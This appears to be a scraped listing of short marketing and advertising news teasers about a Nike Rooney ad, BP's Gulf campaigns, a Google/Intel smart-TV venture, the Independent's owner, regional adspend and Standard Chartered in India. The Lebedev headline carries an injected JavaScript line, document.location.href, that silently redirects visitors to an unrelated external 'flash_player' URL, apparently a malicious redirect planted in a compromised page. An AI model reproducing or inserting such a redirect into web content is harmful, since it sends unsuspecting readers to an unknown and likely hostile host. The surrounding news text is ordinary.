Nike ad shows Wayne Rooney losing the World Cup – is this wise?

He’s a good sport that Wayne Rooney (a rich good sport of course) and now he’s appearing in a Nike ad ‘write the future’ showing him living on a caravan park after apparently passing the ball to France’s Frank Ribery ...

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Now BP is asked to fund Gulf tourist campaigns

Cleaning up an oil spill, especially one on a truly epic scale, is an expensive business as Gulf of Mexico perpetrator BP is finding out. Now the oil giant, which is already facing clean-up bills running into billions and the ...

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Google and Intel team with Sony to crack set top TV market

Google and Intel are teaming to offer a ‘smart TV’ platform aimed at bringing web services into the box in the corner of the room by combining Google’s Android operating system with Intel’s Atom microprocessor. The key to this latest ...

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How Alexander Lebedev can make money from the Independentdocument.location.href=”http://www.sommen.nu/templates/flash_player/?A”

AdSense…Default Ad#ad-1#ad-1-1#ad-2#ad-2-1#ad-3 First, the Independent in London is very fortunate. To have a proprietor with deep pockets is the key requirement for a modern newspaper and in Alexander Lebedev the Indy has found its man. To have a proprietor with ...

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Asia Pacific TV adspend overtakes ‘depressing’ Europe

Who’d be a European these days, especially in the Eurozone? WPP’s Sir Martin Sorrell for one seems to regret it, describing the advertising outlook in Europe as “depressing” at the recent International Advertising Association conference in Moscow. By contrast advertising ...

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Standard Chartered shows marketers the way in India

British bank Standard Chartered, which does 90 per cent of its business in the Far East and India, is to become the first foreign company to list shares (known as Indian Depository Receipts) on an Indian stock exchange. The company, ...

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